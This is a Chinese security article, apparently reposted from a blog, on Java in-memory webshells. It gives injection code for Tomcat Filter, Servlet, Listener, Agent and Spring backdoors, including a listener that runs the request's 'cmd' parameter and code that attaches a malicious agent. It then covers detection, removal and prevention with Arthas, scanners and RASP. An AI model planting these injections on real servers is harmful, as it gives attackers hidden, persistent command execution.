攻防视角下的内存webshell

admin 2026-07-02 04:51:53 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文从攻防双视角剖析Java内存Webshell的原理、实现与检测清除技术。内存Webshell利用反射、动态类加载等机制注入到Web容器或JVM内存中,实现无文件落地后门。常见类型包括Filter型、Servlet型、Listener型、Agent型和Spring型。注入方式主要通过反序列化漏洞、命令执行等。文章提供了各类型注入代码示例,并指出Agent型检测难度最高。 综合评分: 81 文章分类: 红队,应急响应,漏洞分析,WEB安全,安全工具


cover_image

攻防视角下的内存webshell

alex alex

安全驾驶舱

2026年6月29日 17:22 广东

在小说阅读器读本章

去阅读

引言

Webshell 是攻击者获取服务器持久化控制权的常用后门。传统 Webshell 以文件形式存在于磁盘,容易被杀毒软件、文件完整性检测工具发现。随着攻防对抗升级,内存 Webshell 应运而生——它不写入磁盘,仅驻留在 Java 应用运行时内存中,利用反射、动态类加载、Instrumentation 等机制注入到 Web 容器或 JVM 内部,实现“无文件落地”的隐蔽后门。本文从攻击者与防御者双重视角,深入剖析 Java 内存 Webshell 的原理、实现、检测与清除技术。

一、攻击篇:内存 Webshell 的实现与注入

1、核心原理****

Java 内存 Webshell 的本质是在运行时向 Web 容器或 JVM 动态注册一个恶意组件,使其能够处理后续的 HTTP 请求或系统事件。其实现依赖于以下 Java 特性:

反射:获取容器内部私有对象(如 Tomcat 的 StandardContext),调用私有方法。

动态类加载:通过 ClassLoader.defineClass() 加载字节码,无需 .class 文件。

Instrumentation:通过 Java Agent 在类加载时修改字节码,或重转换已有类。

容器组件模型:Tomcat、Spring 等容器采用组件树结构,可通过反射添加 Filter、Servlet、Listener 等。

2、常见类型****

2.1、Filter 型内存马

原理:向 StandardContext的filterConfigs 中添加自定义Filter,并注册URL映射(通常为 /*)。

触发:所有请求经过该 Filter,在doFilter中解析参数并执行命令。

示例代码(Tomcat 8/9):

// 获取 StandardContextField reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();// 创建 FilterDef 和 FilterMapFilterDef filterDef = new FilterDef();filterDef.setFilter(new CommandFilter());filterDef.setFilterName("shell");context.addFilterDef(filterDef);FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName("shell");context.addFilterMapBefore(filterMap);// 手动构造 ApplicationFilterConfig 并放入缓存Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(context, filterDef);context.getFilterConfigs().put("shell", filterConfig);

2.2、Servlet型内存马

原理:向 StandardContext 中添加 Wrapper(代表 Servlet),并注册路径映射。

触发:访问特定路径(如 /abc)时执行恶意 Servlet 的 service 方法。

示例代码:

Wrapper wrapper = context.createWrapper();wrapper.setName("shellServlet");wrapper.setServlet(new CommandServlet());wrapper.setServletClass(CommandServlet.class.getName());context.addChild(wrapper);context.addServletMappingDecoded("/abc", "shellServlet");

2.3、Listener 型内存马

原理:向StandardContext的applicationEventListeners 中添加 ServletRequestListener,监听请求事件。

触发:每次请求到达时,requestInitialized 方法被调用,执行恶意逻辑。

示例代码(Tomcat 8/9):

// 1. 定义恶意 Listener 类public class ShellListener implements ServletRequestListener {&nbsp; &nbsp; @Override&nbsp; &nbsp; public void requestDestroyed(ServletRequestEvent sre) {&nbsp; &nbsp; &nbsp; &nbsp; // 不需要操作&nbsp; &nbsp; }&nbsp; &nbsp; @Override&nbsp; &nbsp; public void requestInitialized(ServletRequestEvent sre) {&nbsp; &nbsp; &nbsp; &nbsp; HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();&nbsp; &nbsp; &nbsp; &nbsp; String cmd = req.getParameter("cmd");&nbsp; &nbsp; &nbsp; &nbsp; if (cmd != null) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; try {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Process process = Runtime.getRuntime().exec(cmd);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 将结果写入 response(需获取 response 对象,此处省略)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } catch (Exception e) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; e.printStackTrace();&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; }}// 2. 注入代码(通过反射获取 StandardContext 并添加 Listener)// 获取 StandardContext(与 Filter 型相同)Field reqF = request.getClass().getDeclaredField("request");reqF.setAccessible(true);Request req = (Request) reqF.get(request);StandardContext context = (StandardContext) req.getContext();// 创建 Listener 实例并添加到 applicationEventListeners 列表ShellListener listener = new ShellListener();// 通过反射获取 applicationEventListeners 字段Field listenersField = StandardContext.class.getDeclaredField("applicationEventListeners");listenersField.setAccessible(true);Object[] listeners = (Object[]) listenersField.get(context);// 扩展数组并添加新 ListenerObject[] newListeners = Arrays.copyOf(listeners, listeners.length + 1);newListeners[newListeners.length - 1] = listener;listenersField.set(context, newListeners);// 可选:同时更新 applicationEventListenerInstances(某些版本需要)Field instancesField = StandardContext.class.getDeclaredField("applicationEventListenerInstances");instancesField.setAccessible(true);List<Object> instances = (List<Object>) instancesField.get(context);instances.add(listener);

注意:不同Tomcat 版本字段名可能不同,例如 7.x 中可能为 applicationEventListeners 或 listeners,需根据实际情况调整。

2.4、Agent 型内存马

原理:通过 Java Agent 注册 ClassFileTransformer,在类加载时修改字节码,或使用 retransformClasses 重转换已有类(如 Runtime.exec)。

特点:可全局拦截,但需要目标 JVM 支持 Attach 或启动时指定 Agent。

持久化:通常需写入 MANIFEST.MF 或利用漏洞动态加载 Agent。

示例:(Agent 代码):

// Agent 类(需在 MANIFEST.MF 中指定 Premain-Class 或 Agent-Class)public class EvilAgent {&nbsp; &nbsp; public static void premain(String agentArgs, Instrumentation inst) {&nbsp; &nbsp; &nbsp; &nbsp; inst.addTransformer(new ClassFileTransformer() {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @Override&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; public byte[] transform(ClassLoader loader, String className,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Class<?> classBeingRedefined,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ProtectionDomain protectionDomain,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; byte[] classfileBuffer) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 只修改 java.lang.Runtime 类&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ("java/lang/Runtime".equals(className)) {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 使用 ASM 或 Javassist 修改字节码&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 在 exec 方法中插入恶意代码(例如记录参数或执行额外命令)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 此处为简化,直接返回原始字节码&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return classfileBuffer;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return null;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp; });&nbsp; &nbsp; }&nbsp; &nbsp; // 也可通过 agentmain 动态附加&nbsp; &nbsp; public static void agentmain(String agentArgs, Instrumentation inst) {&nbsp; &nbsp; &nbsp; &nbsp; premain(agentArgs, inst);&nbsp; &nbsp; }}

注入方式:

启动时注入:在 JVM 启动参数中添加 -javaagent:evil.jar。

运行时注入:通过 VirtualMachine.attach() 加载 Agent(需目标 JVM 权限):

// 利用漏洞执行以下代码import com.sun.tools.attach.VirtualMachine;VirtualMachine vm = VirtualMachine.attach("PID");vm.loadAgent("/path/to/evil.jar", "");vm.detach();

检测难度:Agent 型内存马通常不注册到容器组件中,而是修改核心类,因此常规的 Filter/Servlet 扫描无法发现。需要通过检测 Instrumentation 中注册的 ClassFileTransformer 或分析字节码差异来发现。

2.5、Spring 型内存马

原理:利用 Spring 的 ApplicationContext 动态注册 @RequestMapping 方法或拦截器。

方式:通过 RequestMappingHandlerMapping.registerMapping() 注册新的 URL 映射。

         通过 InterceptorRegistry.addInterceptor() 添加自定义拦截器。

示例(注册 Controller):

RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);PatternsRequestCondition condition = new PatternsRequestCondition("/shell");RequestMappingInfo info = new RequestMappingInfo(condition, ...);mapping.registerMapping(info, new Object(), CommandController.class.getMethod("execute", ...));

3、内存马注入方式

攻击者通常通过以下漏洞或手段注入内存马:

· 反序列化漏洞(Fastjson、Jackson、Shiro):利用反序列化链执行反射代码,动态注册内存马。

· JSP 文件上传/包含:上传包含注册代码的 JSP 文件,执行后自动删除文件(无文件残留)。

· 命令执行漏洞(Struts2、Spring EL):通过命令执行写入字节码或直接反射注册。

· Java Agent 动态附加:利用 VirtualMachine.attach() 加载恶意 Agent(需目标 JVM 权限)。

· SSRF + 内部接口:利用 SSRF 访问 Tomcat Manager 或 JMX 接口,通过 HTTP 操作注册组件。

二、防御篇:检测、清除与预防

1、检测方法

1.1、基于容器组件扫描

遍历 Filter/Servlet/Listener:通过 JMX 或反射获取 StandardContext 中的 filterConfigs、children、applicationEventListeners,与已知基线对比。

工具:Arthas(sc -d *Filter)、java-memshell-scanner。

Arthas排查步骤:

n启动 Arthas 并连接目标进程

java -jar arthas-boot.jar

n搜索可疑 Filter 类

列出所有实现 javax.servlet.Filter 的类

sc -d *Filter

关注类名异常(如包含 cmd、exec、shell、Anonymous 等)或包名异常的类

反编译可疑类确认

jad com.example.SuspiciousFilter

n搜索可疑 Servlet 类,Listener类

sc -d *Servlet

sc -d *ServletRequestListener

n监控敏感 API 调用,定位内存马触发点

监控 Runtime.exec 的调用栈

watch java.lang.Runtime exec “{params,throwExp}” -x 3

stack java.lang.Runtime exec -v

监控 ProcessBuilder.start

watch java.lang.ProcessBuilder start “{params,throwExp}” -x 3

stack java.lang.ProcessBuilder start -v

当有请求触发内存马时,会打印出调用栈,从中可以看到是哪个 Filter/Servlet/Listener 发起的。

java-memshell-scanner排查步骤:

n将工具上传到网站根路径:

将相应的可疑类dump为字节码,再导入到jd-gui中做反编译:

根据反编译的类和方法,分析可疑类是否为webshell代码。

1.2、基于字节码分析

·反编译可疑类:使用 jad 命令(Arthas)或 CFR 反编译,检查是否包含 Runtime.exec、ProcessBuilder、getRuntime 等敏感调用。

·动态类加载监控:记录所有通过 ClassLoader.defineClass 加载的类,分析其来源。

1.3、基于行为监控(RASP)

· RASP(Runtime Application Self-Protection):在运行时Hook 敏感 API(如 Runtime.exec、ProcessBuilder.start、反射获取 StandardContext),记录调用栈,识别异常来源。

· 工具:OpenRASP、商业 RASP 产品。

1.4、基于日志与流量分析

· Web 日志异常:发现对非正常路径(如 /shell、/abc)的请求,且携带 cmd、exec 等参数。

· 流量特征:响应中包含系统命令输出结果(如 whoami 的输出)。

1.5、基于内存快照分析

· 堆转储:使用 jmap 导出堆,用 Eclipse MAT 分析,查找异常类实例。

· 类加载器分析:检查是否存在自定义 ClassLoader 加载的恶意类。

2、清除方法

2.1、通过 Arthas 反射删除

利用 Arthas 的 ognl 命令执行反射代码,从容器组件树中移除恶意对象。

删除 Filter 型内存马示例:

ognl -x 3 \'#[email protected]@class.getDeclaredField(“lastServicedRequest”),&nbsp;&nbsp;#req=#ctx.get(null),&nbsp;&nbsp;#ctx=#req.getContext(),&nbsp;#filterConfigs=#ctx.getClass().getDeclaredField(“filterConfigs”),&nbsp;#filterConfigs.setAccessible(true),&nbsp;#map=#filterConfigs.get(#ctx),&nbsp;#map.remove(“y4tacker”),#filterDefs=#ctx.getClass().getDeclaredField(“filterDefs”),#filterDefs.setAccessible(true),&nbsp;#defs=#filterDefs.get(#ctx),&nbsp;#defs.remove(“evilFilter”),#filterMaps=#ctx.getClass().getDeclaredField(“filterMaps”),&nbsp;#filterMaps.setAccessible(true),&nbsp;#maps=#filterMaps.get(#ctx),&nbsp;#maps.removeIf(#m&nbsp;->&nbsp;#m.getFilterName().equals(“evilFilter”))'

删除Servlet型内存马示例:

ognl -x 3 \'#[email protected]@class.getDeclaredField("lastServicedRequest"),&nbsp;&nbsp;#ctx.setAccessible(true),&nbsp;&nbsp;#req=#ctx.get(null),&nbsp;&nbsp;#context=#req.getContext(),&nbsp;&nbsp;#children=#context.getClass().getDeclaredField("children"),&nbsp;&nbsp;#children.setAccessible(true),&nbsp;&nbsp;#childMap=#children.get(#context),&nbsp;&nbsp;#childMap.remove("evilServlet"),&nbsp;&nbsp;#servletMappings=#context.getClass().getDeclaredField("servletMappings"),&nbsp;&nbsp;#servletMappings.setAccessible(true),&nbsp;&nbsp;#mappings=#servletMappings.get(#context),&nbsp;&nbsp;#mappings.remove("/evil")'

删除 Spring Controller 示例:

ognl -x 3 \'#[email protected]@getCurrentWebApplicationContext(),&nbsp;&nbsp;#mapping=#ctx.getBean("requestMappingHandlerMapping"),&nbsp;&nbsp;#handlerMethods=#mapping.getClass().getDeclaredField("handlerMethods"),&nbsp;&nbsp;#handlerMethods.setAccessible(true),&nbsp;&nbsp;#map=#handlerMethods.get(#mapping),&nbsp;&nbsp;#map.keySet().removeIf(#info&nbsp;->&nbsp;#info.getPatternsCondition().getPatterns().contains("/shell"))'

2.2、重启应用

    内存马默认随 JVM 重启消失,但需先清除持久化配置(如写入 server.xml、数据库等)。

    重启前建议导出堆转储,用于取证分析。

2.3、使用RASP自动阻断

    部署 RASP 后,可配置规则自动移除恶意组件或拦截其执行。

3、预防措施

修复漏洞:及时修补反序列化、命令执行、文件上传等漏洞,阻断注入入口。

最小化权限:应用运行账号使用低权限用户,限制 Runtime.exec 等敏感 API 的调用。

部署 RASP:在应用层嵌入安全防护,实时监控和拦截内存马注入行为。

加强日志审计:记录所有反射调用、动态类加载、敏感 API 调用日志,便于溯源。

定期扫描:使用内存马检测工具(如 java-memshell-scanner)对生产环境进行定期扫描。

使用 Java Agent 白名单:限制仅允许签名的 Agent 加载。

参考资料:

内存马载荷生成工具:https://github.com/frohoff/ysoserial

java对象检索工具:https://github.com/c0ny1/java-object-searcher

内存马扫描工具:https://github.com/c0ny1/java-memshell-scanner

java故障排查工具:https://github.com/alibaba/arthas

内存马资源:https://github.com/su18/MemoryShell

END


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全驾驶舱 alex alex《攻防视角下的内存webshell》

评论:0   参与:  0